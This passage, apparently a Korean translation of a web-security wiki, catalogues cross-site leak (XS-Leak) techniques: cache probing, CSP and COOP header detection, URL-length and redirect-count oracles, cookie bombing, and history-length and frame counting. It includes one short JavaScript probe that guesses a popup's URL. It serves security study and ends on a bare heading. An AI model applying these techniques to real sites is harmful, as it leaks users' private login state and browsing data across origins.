ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ–ˆ์„ ๋•Œ๋งŒ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•˜๋Š” ๊ฒฝ์šฐ, ๋ฆฌ์†Œ์Šค๋ฅผ ๋ฌดํšจํ™”ํ•˜์—ฌ ๋” ์ด์ƒ ์บ์‹œ๋˜์ง€ ์•Š๋„๋ก ํ•˜๊ณ (์ž์„ธํ•œ ์ •๋ณด ๋งํฌ ์ฐธ์กฐ), ํ•ด๋‹น ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ณ  ์ž˜๋ชป๋œ ์š”์ฒญ์œผ๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•ฉ๋‹ˆ๋‹ค(์˜ˆ: ๋„ˆ๋ฌด ๊ธด referer ํ—ค๋”๋ฅผ ์‚ฌ์šฉ). ๋ฆฌ์†Œ์Šค ๋กœ๋“œ๊ฐ€ ์–ด๋–ค ์˜ค๋ฅ˜๋„ ๋ฐœ์ƒ์‹œํ‚ค์ง€ ์•Š์•˜๋‹ค๋ฉด, ์ด๋Š” ์บ์‹œ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

CSP ์ง€์‹œ๋ฌธ

  • ํฌํ•จ ๋ฐฉ๋ฒ•: ํ”„๋ ˆ์ž„
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํ—ค๋”
  • ์ž์„ธํ•œ ์ •๋ณด: https://bugs.chromium.org/p/chromium/issues/detail?id=1105875
  • ์š”์•ฝ: CSP ํ—ค๋” ์ง€์‹œ๋ฌธ์€ CSP iframe ์†์„ฑ์„ ์‚ฌ์šฉํ•˜์—ฌ ์กฐ์‚ฌํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ •์ฑ… ์„ธ๋ถ€์ •๋ณด๋ฅผ ๋“œ๋Ÿฌ๋ƒ…๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#CSP%20Directive%20Leak

Google Chrome(GC)์˜ ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ์€ ์›น ํŽ˜์ด์ง€๊ฐ€ iframe ์š”์†Œ์— ์†์„ฑ์„ ์„ค์ •ํ•˜์—ฌ **์ฝ˜ํ…์ธ  ๋ณด์•ˆ ์ •์ฑ…(CSP)**๋ฅผ ์ œ์•ˆํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ •์ฑ… ์ง€์‹œ๋ฌธ์€ HTTP ์š”์ฒญ๊ณผ ํ•จ๊ป˜ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ, ํฌํ•จ๋œ ์ฝ˜ํ…์ธ ๋Š” HTTP ํ—ค๋”๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ์Šน์ธํ•ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ iframe์ด ์ด๋ฏธ CSP์— ์˜ํ•ด ๊ด€๋ฆฌ๋˜๊ณ  ์ƒˆ๋กœ ์ œ์•ˆ๋œ ์ •์ฑ…์ด ๋” ์ œํ•œ์ ์ด์ง€ ์•Š์œผ๋ฉด ํŽ˜์ด์ง€๋Š” ์ •์ƒ์ ์œผ๋กœ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์€ ๊ณต๊ฒฉ์ž๊ฐ€ ๊ต์ฐจ ์ถœ์ฒ˜ ํŽ˜์ด์ง€์˜ ํŠน์ • CSP ์ง€์‹œ๋ฌธ์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ๋กœ๋ฅผ ์—ด์–ด์ค๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ์ˆ˜์ •๋œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋˜์—ˆ์ง€๋งŒ, ์šฐ๋ฆฌ์˜ ๋ฐœ๊ฒฌ์€ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒˆ๋กœ์šด ์œ ์ถœ ๊ธฐ๋ฒ•์„ ๋“œ๋Ÿฌ๋‚ด๋ฉฐ, ๊ทผ๋ณธ์ ์ธ ๋ฌธ์ œ๊ฐ€ ์™„์ „ํžˆ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์•˜์Œ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

CORP

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Fetch API
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํ—ค๋”
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsleaks.dev/docs/attacks/browser-features/corp/
  • ์š”์•ฝ: ๊ต์ฐจ ์ถœ์ฒ˜ ๋ฆฌ์†Œ์Šค ์ •์ฑ…(CORP)์œผ๋กœ ๋ณดํ˜ธ๋œ ๋ฆฌ์†Œ์Šค๋Š” ํ—ˆ์šฉ๋˜์ง€ ์•Š๋Š” ์ถœ์ฒ˜์—์„œ ๊ฐ€์ ธ์˜ฌ ๋•Œ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#CORP%20Leak

CORP ํ—ค๋”๋Š” ๋น„๊ต์  ์ƒˆ๋กœ์šด ์›น ํ”Œ๋žซํผ ๋ณด์•ˆ ๊ธฐ๋Šฅ์œผ๋กœ, ์„ค์ •๋˜๋ฉด ์ฃผ์–ด์ง„ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ no-cors ๊ต์ฐจ ์ถœ์ฒ˜ ์š”์ฒญ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ํ—ค๋”์˜ ์กด์žฌ๋Š” ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, CORP๋กœ ๋ณดํ˜ธ๋œ ๋ฆฌ์†Œ์Šค๋Š” ๊ฐ€์ ธ์˜ฌ ๋•Œ ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ต๋‹ˆ๋‹ค.

CORB

๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ์ •๋ณด๋Š” ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

์ถœ์ฒ˜ ๋ฐ˜์‚ฌ ์ž˜๋ชป ๊ตฌ์„ฑ์œผ๋กœ ์ธํ•œ CORS ์˜ค๋ฅ˜

Origin ํ—ค๋”๊ฐ€ Access-Control-Allow-Origin ํ—ค๋”์— ๋ฐ˜์˜๋˜๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ์ด ๋™์ž‘์„ ์•…์šฉํ•˜์—ฌ CORS ๋ชจ๋“œ์—์„œ ๋ฆฌ์†Œ์Šค๋ฅผ ๊ฐ€์ ธ์˜ค๋ ค๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š์œผ๋ฉด, ์ด๋Š” ์›น์—์„œ ์˜ฌ๋ฐ”๋ฅด๊ฒŒ ๊ฒ€์ƒ‰๋˜์—ˆ์Œ์„ ์˜๋ฏธํ•˜๋ฉฐ, ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ์ด๋Š” ์บ์‹œ์—์„œ ์ ‘๊ทผ๋˜์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค(์˜ค๋ฅ˜๋Š” ์บ์‹œ๊ฐ€ ์›๋ž˜ ๋„๋ฉ”์ธ์„ ํ—ˆ์šฉํ•˜๋Š” CORS ํ—ค๋”๊ฐ€ ์žˆ๋Š” ์‘๋‹ต์„ ์ €์žฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค).
Origin์ด ๋ฐ˜์˜๋˜์ง€ ์•Š๊ณ  ์™€์ผ๋“œ์นด๋“œ(Access-Control-Allow-Origin: *)๊ฐ€ ์‚ฌ์šฉ๋˜๋ฉด ์ด ๋ฐฉ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

์ฝ์„ ์ˆ˜ ์žˆ๋Š” ์†์„ฑ ๊ธฐ์ˆ 

Fetch ๋ฆฌ๋””๋ ‰์…˜

redirect: "manual" ๋ฐ ๊ธฐํƒ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ Fetch API๋ฅผ ํ†ตํ•ด ์š”์ฒญ์„ ์ œ์ถœํ•˜๋ฉด, response.type ์†์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด ๊ฐ’์ด opaqueredirect์™€ ๊ฐ™๋‹ค๋ฉด ์‘๋‹ต์ด ๋ฆฌ๋””๋ ‰์…˜์ด์—ˆ์Šต๋‹ˆ๋‹ค.

COOP

  • ํฌํ•จ ๋ฐฉ๋ฒ•: ํŒ์—…
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ํ—ค๋”
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsinator.com/paper.pdf (5.4), https://xsleaks.dev/docs/attacks/window-references/
  • ์š”์•ฝ: ๊ต์ฐจ ์ถœ์ฒ˜ ์˜คํ”„๋„ˆ ์ •์ฑ…(COOP)์œผ๋กœ ๋ณดํ˜ธ๋œ ํŽ˜์ด์ง€๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ ์ƒํ˜ธ์ž‘์šฉ์œผ๋กœ๋ถ€ํ„ฐ์˜ ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#COOP%20Leak

๊ณต๊ฒฉ์ž๋Š” ๊ต์ฐจ ์ถœ์ฒ˜ HTTP ์‘๋‹ต์—์„œ ๊ต์ฐจ ์ถœ์ฒ˜ ์˜คํ”„๋„ˆ ์ •์ฑ…(COOP) ํ—ค๋”์˜ ์กด์žฌ๋ฅผ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. COOP๋Š” ์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๊ฐ€ ์ž„์˜์˜ ์ฐฝ ์ฐธ์กฐ๋ฅผ ์–ป์ง€ ๋ชปํ•˜๋„๋ก ๋ฐฉ์ง€ํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ํ—ค๋”์˜ ๊ฐ€์‹œ์„ฑ์€ contentWindow ์ฐธ์กฐ์— ์ ‘๊ทผํ•˜๋ ค๊ณ  ์‹œ๋„ํ•จ์œผ๋กœ์จ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. COOP๊ฐ€ ์กฐ๊ฑด๋ถ€๋กœ ์ ์šฉ๋˜๋Š” ๊ฒฝ์šฐ, opener ์†์„ฑ์€ ๊ฒฐ์ •์ ์ธ ์ง€ํ‘œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค: COOP๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด ์ •์˜๋˜์ง€ ์•Š์œผ๋ฉฐ, ๋น„ํ™œ์„ฑํ™”๋˜๋ฉด ์ •์˜๋ฉ๋‹ˆ๋‹ค.

URL ์ตœ๋Œ€ ๊ธธ์ด - ์„œ๋ฒ„ ์ธก

  • ํฌํ•จ ๋ฐฉ๋ฒ•: Fetch API, HTML ์š”์†Œ
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ์ƒํƒœ ์ฝ”๋“œ / ์ฝ˜ํ…์ธ 
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsleaks.dev/docs/attacks/navigations/#server-side-redirects
  • ์š”์•ฝ: ๋ฆฌ๋””๋ ‰์…˜ ์‘๋‹ต ๊ธธ์ด๋กœ ์ธํ•ด ์‘๋‹ต์˜ ์ฐจ์ด๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋„ˆ๋ฌด ๊ธธ๋ฉด ์„œ๋ฒ„๊ฐ€ ์˜ค๋ฅ˜๋กœ ์žฌ์ƒ์„ฑํ•˜๊ณ  ๊ฒฝ๊ณ ๊ฐ€ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#URL%20Max%20Length%20Leak

์„œ๋ฒ„ ์ธก ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฆฌ๋””๋ ‰์…˜ ๋‚ด์—์„œ ์‚ฌ์šฉ์ž ์ž…๋ ฅ์„ ์‚ฌ์šฉํ•˜๊ณ  ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•˜๋Š” ๊ฒฝ์šฐ, ์ด ๋™์ž‘์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์„œ๋ฒ„๋Š” ์š”์ฒญ ๊ธธ์ด ์ œํ•œ์ด ์žˆ์Šต๋‹ˆ๋‹ค. ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๊ฐ€ ๊ธธ์ด - 1์ธ ๊ฒฝ์šฐ, ๋ฆฌ๋””๋ ‰์…˜์ด ํ•ด๋‹น ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•˜๊ณ  ์ถ”๊ฐ€ํ•˜๋Š” ๊ฒฝ์šฐ, ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์—ฌ ์˜ค๋ฅ˜ ์ด๋ฒคํŠธ๋ฅผ ํ†ตํ•ด ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž์—๊ฒŒ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๊ฒฝ์šฐ, ์ถฉ๋ถ„ํ•œ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•˜์—ฌ ์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค(์ฟ ํ‚ค ํญํƒ„). ์ •์ƒ ์‘๋‹ต์˜ ํฌ๊ธฐ๊ฐ€ ์ฆ๊ฐ€ํ•˜๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, ๋™์ผํ•œ ์‚ฌ์ดํŠธ์—์„œ ์ด ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉด <script>๊ฐ€ ์ž๋™์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๋ฏ€๋กœ(์˜ค๋ฅ˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค).
์ฟ ํ‚ค ํญํƒ„ + XS-Search์˜ ์˜ˆ๋Š” ์ด ๋ฌธ์„œ์˜ ์˜๋„๋œ ์†”๋ฃจ์…˜์—์„œ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

SameSite=None ๋˜๋Š” ๋™์ผํ•œ ์ปจํ…์ŠคํŠธ์— ์žˆ์–ด์•ผ ์ด ์œ ํ˜•์˜ ๊ณต๊ฒฉ์— ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค.

URL ์ตœ๋Œ€ ๊ธธ์ด - ํด๋ผ์ด์–ธํŠธ ์ธก

Chromium ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, Chrome์˜ ์ตœ๋Œ€ URL ๊ธธ์ด๋Š” 2MB์ž…๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ, _์›น ํ”Œ๋žซํผ_์€ URL ๊ธธ์ด์— ๋Œ€ํ•œ ์ œํ•œ์ด ์—†์Šต๋‹ˆ๋‹ค(2^31์ด ์ผ๋ฐ˜์ ์ธ ์ œํ•œ์ด์ง€๋งŒ). _Chrome_์€ ์‹ค์šฉ์ ์ธ ์ด์œ ๋กœ URL์„ ์ตœ๋Œ€ 2MB๋กœ ์ œํ•œํ•˜๋ฉฐ, ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ ์—์„œ ์„œ๋น„์Šค ๊ฑฐ๋ถ€ ๋ฌธ์ œ๋ฅผ ํ”ผํ•˜๊ธฐ ์œ„ํ•ด์„œ์ž…๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๋ฆฌ๋””๋ ‰์…˜ URL์ด ํ•œ ๊ฒฝ์šฐ์— ๋” ํฌ๋‹ค๋ฉด, 2MB๋ณด๋‹ค ํฐ URL๋กœ ๋ฆฌ๋””๋ ‰์…˜๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ, Chrome์€ about:blank#blocked ํŽ˜์ด์ง€๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

๋ˆˆ์— ๋„๋Š” ์ฐจ์ด์ ์€ ๋ฆฌ๋””๋ ‰์…˜์ด ์™„๋ฃŒ๋˜์—ˆ๋‹ค๋ฉด, window.origin์ด ์˜ค๋ฅ˜๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ๊ต์ฐจ ์ถœ์ฒ˜๋Š” ํ•ด๋‹น ์ •๋ณด๋ฅผ ์ ‘๊ทผํ•  ์ˆ˜ ์—†์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ์ œํ•œ์ด ์ดˆ๊ณผ๋˜๊ณ  ๋กœ๋“œ๋œ ํŽ˜์ด์ง€๊ฐ€ **about:blank#blocked**์ธ ๊ฒฝ์šฐ, ์ฐฝ์˜ **origin**์€ ๋ถ€๋ชจ์˜ ๊ฒƒ์ด๋ฉฐ, ์ด๋Š” ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ •๋ณด์ž…๋‹ˆ๋‹ค.

2MB์— ๋„๋‹ฌํ•˜๊ธฐ ์œ„ํ•ด ํ•„์š”ํ•œ ๋ชจ๋“  ์ถ”๊ฐ€ ์ •๋ณด๋Š” ์ดˆ๊ธฐ URL์˜ ํ•ด์‹œ๋ฅผ ํ†ตํ•ด ์ถ”๊ฐ€ํ•  ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ ๋ฆฌ๋””๋ ‰์…˜์— ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค.

URL Max Length - Client Side

์ตœ๋Œ€ ๋ฆฌ๋””๋ ‰์…˜

๋ธŒ๋ผ์šฐ์ €์˜ ์ตœ๋Œ€ ๋ฆฌ๋””๋ ‰์…˜ ์ˆ˜๊ฐ€ 20์ธ ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” 19๊ฐœ์˜ ๋ฆฌ๋””๋ ‰์…˜์œผ๋กœ ์ž์‹ ์˜ ํŽ˜์ด์ง€๋ฅผ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ•˜๊ณ  ๋งˆ์ง€๋ง‰์œผ๋กœ ํ”ผํ•ด์ž๋ฅผ ํ…Œ์ŠคํŠธ๋œ ํŽ˜์ด์ง€๋กœ ๋ณด๋ƒ…๋‹ˆ๋‹ค. ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ํŽ˜์ด์ง€๊ฐ€ ํ”ผํ•ด์ž๋ฅผ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด

  • ํฌํ•จ ๋ฐฉ๋ฒ•: ํ”„๋ ˆ์ž„, ํŒ์—…
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: ๋ฆฌ๋””๋ ‰์…˜
  • ์ž์„ธํ•œ ์ •๋ณด: https://xsleaks.dev/docs/attacks/navigations/
  • ์š”์•ฝ: JavaScript ์ฝ”๋“œ๋Š” ๋ธŒ๋ผ์šฐ์ € ํžˆ์Šคํ† ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ธธ์ด ์†์„ฑ์œผ๋กœ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: https://xsinator.com/testing.html#History%20Length%20Leak

History API๋Š” JavaScript ์ฝ”๋“œ๊ฐ€ ๋ธŒ๋ผ์šฐ์ € ํžˆ์Šคํ† ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด์ฃผ๋ฉฐ, ์ด๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐฉ๋ฌธํ•œ ํŽ˜์ด์ง€๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๊ธธ์ด ์†์„ฑ์„ ํฌํ•จ ๋ฐฉ๋ฒ•์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: JavaScript ๋ฐ HTML ํƒ์ƒ‰์„ ๊ฐ์ง€ํ•˜๊ธฐ ์œ„ํ•ด.
**history.length**๋ฅผ ํ™•์ธํ•˜๊ณ , ์‚ฌ์šฉ์ž๊ฐ€ ํŽ˜์ด์ง€๋กœ ํƒ์ƒ‰ํ•˜๊ฒŒ ํ•œ ํ›„, ๋‹ค์‹œ ๋™์ผ ์ถœ์ฒ˜๋กœ ๋ณ€๊ฒฝํ•˜๊ณ  **history.length**์˜ ์ƒˆ ๊ฐ’์„ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

๋™์ผ URL๋กœ ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด

  • ํฌํ•จ ๋ฐฉ๋ฒ•: ํ”„๋ ˆ์ž„, ํŒ์—…
  • ๊ฐ์ง€ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด: URL์ด ์ถ”์ธกํ•œ ๊ฒƒ๊ณผ ๋™์ผํ•œ ๊ฒฝ์šฐ
  • ์š”์•ฝ: ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๋ฅผ ์•…์šฉํ•˜์—ฌ ํ”„๋ ˆ์ž„/ํŒ์—…์˜ ์œ„์น˜๊ฐ€ ํŠน์ • URL์— ์žˆ๋Š”์ง€ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • ์ฝ”๋“œ ์˜ˆ์ œ: ์•„๋ž˜

๊ณต๊ฒฉ์ž๋Š” JavaScript ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ”„๋ ˆ์ž„/ํŒ์—… ์œ„์น˜๋ฅผ ์ถ”์ธกํ•œ URL๋กœ ์กฐ์ž‘ํ•˜๊ณ  ์ฆ‰์‹œ **about:blank**๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๊ฐ€ ์ฆ๊ฐ€ํ•˜๋ฉด URL์ด ์˜ฌ๋ฐ”๋ฅด๋‹ค๋Š” ์˜๋ฏธ์ด๋ฉฐ, ๊ฐ™์€ ๊ฒฝ์šฐ์—๋Š” URL์ด ๋‹ค์‹œ ๋กœ๋“œ๋˜์ง€ ์•Š๊ธฐ ๋•Œ๋ฌธ์— ์ฆ๊ฐ€ํ•  ์‹œ๊ฐ„์ด ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ์ฆ๊ฐ€ํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด, ์ถ”์ธกํ•œ URL์„ ๋กœ๋“œํ•˜๋ ค๊ณ  ์‹œ๋„ํ–ˆ์ง€๋งŒ, ์ฆ‰์‹œ ์ดํ›„์— **about:blank**๋ฅผ ๋กœ๋“œํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๊ฐ€ ์ฆ๊ฐ€ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

์›น์—์„œ iframe ๋˜๋Š” window.open์„ ํ†ตํ•ด ์—ด๋ฆฐ ํ”„๋ ˆ์ž„์˜ ์ˆ˜๋ฅผ ์„ธ๋Š” ๊ฒƒ์€ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋˜ํ•œ, ํŽ˜์ด์ง€์— ํ•ญ์ƒ ๋™์ผํ•œ ์ˆ˜์˜ ํ”„๋ ˆ์ž„์ด ์žˆ๋Š” ๊ฒฝ์šฐ, ํ”„๋ ˆ์ž„ ์ˆ˜๋ฅผ ์ง€์†์ ์œผ๋กœ ํ™•์ธํ•˜๋ฉด ์ •๋ณด๊ฐ€ ์œ ์ถœ๋  ์ˆ˜ ์žˆ๋Š” ํŒจํ„ด์„ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ์ˆ ์˜ ์˜ˆ๋กœ, ํฌ๋กฌ์—์„œ๋Š” PDF๊ฐ€ ํ”„๋ ˆ์ž„ ์นด์šดํŒ…์œผ๋กœ ๊ฐ์ง€๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‚ด๋ถ€์ ์œผ๋กœ embed๊ฐ€ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. zoom, view, page, toolbar์™€ ๊ฐ™์€ ์ฝ˜ํ…์ธ ์— ๋Œ€ํ•œ ์ผ๋ถ€ ์ œ์–ด๋ฅผ ํ—ˆ์šฉํ•˜๋Š” Open URL Parameters๊ฐ€ ์žˆ์–ด ์ด ๊ธฐ์ˆ ์ด ํฅ๋ฏธ๋กœ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTMLElements

HTML ์š”์†Œ๋ฅผ ํ†ตํ•œ ์ •๋ณด ์œ ์ถœ์€ ์›น ๋ณด์•ˆ์—์„œ ์šฐ๋ ค๋˜๋Š” ๋ฌธ์ œ๋กœ, ํŠนํžˆ ์‚ฌ์šฉ์ž ์ •๋ณด์— ๋”ฐ๋ผ ๋™์ ์œผ๋กœ ๋ฏธ๋””์–ด ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๊ฑฐ๋‚˜ ์›Œํ„ฐ๋งˆํฌ๊ฐ€ ์ถ”๊ฐ€๋˜์–ด ๋ฏธ๋””์–ด ํฌ๊ธฐ๊ฐ€ ๋ณ€๊ฒฝ๋  ๋•Œ ๋ฌธ์ œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํŠน์ • HTML ์š”์†Œ๊ฐ€ ๋…ธ์ถœํ•˜๋Š” ์ •๋ณด๋ฅผ ๋ถ„์„ํ•˜์—ฌ ๊ฐ€๋Šฅํ•œ ์ƒํƒœ๋ฅผ ๊ตฌ๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Information Exposed by HTML Elements

